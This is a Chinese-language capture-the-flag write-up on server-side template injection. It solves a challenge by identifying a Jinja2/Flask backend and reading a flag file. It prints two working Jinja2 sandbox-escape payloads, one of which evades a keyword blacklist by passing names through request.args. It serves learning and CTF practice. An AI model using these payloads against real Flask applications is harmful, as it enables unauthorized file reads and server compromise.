1.Velocity
2.FreeMarker
因为从来没接触过java语言 所以对这些也是基本上一窍不通 这里只简单的提及 不做具体介绍
会找一下题来做 但是没有找到有关java ssti的题目
confusion1
看一下描述
打开题目
没发现什么东西 但是 login register页面显示访问不成功 查看源代码找到了flag的位置
根据题目描述结合图片分析这网站应该是用python编写的
蛇缠在大象身上猜测此系统使用了php+python
(php的标志是大象,Python的标志是蛇)
尝试一下ssti注入
发现有注入点,用tplmap自动注入一下
用tplmap连接不成功 但是知道了是jinja2模板
利用payload进行注入
{{().__class__.__bases__[0].__subclasses__()[177].__init__.__globals__.__builtins__['open']('/opt/flag_1de36dff62a3a54ecfbc6e1fd2ef0ad1.txt').read()}}
发现有弹窗 尝试发现常用的class、subclasses、read都被过滤了,但是并未过滤request。
request 是 Flask 框架的一个全局对象 , 表示 " 当前请求的对象( flask.request ) " 。
所以我们可以利用request.args绕过输入黑名单,进行沙箱逃逸。
{{''[request.args.a][request.args.b][2][request.args.c]()[40]('/opt/flag_1de36dff62a3a54ecfbc6e1fd2ef0ad1.txt')[request.args.d]()}}?a=__class__&b=__mro__&c=__subclasses__&d=read
得到flag
这道题的考点就是在 Flask 框架的全局对象request 这里 因为常见的class、subclasses、read都被过滤了
ssti大框架就是这些 但是里面的细节还需要抠仔细 比如python的函数命令 php的函数 以及各种需要整理的payload 还有各种拓展到的知识 flask框架 python沙箱绕过 以及python的模板函数也要仔细学习
接下来会有一个整理 把ssti的内容彻底解决掉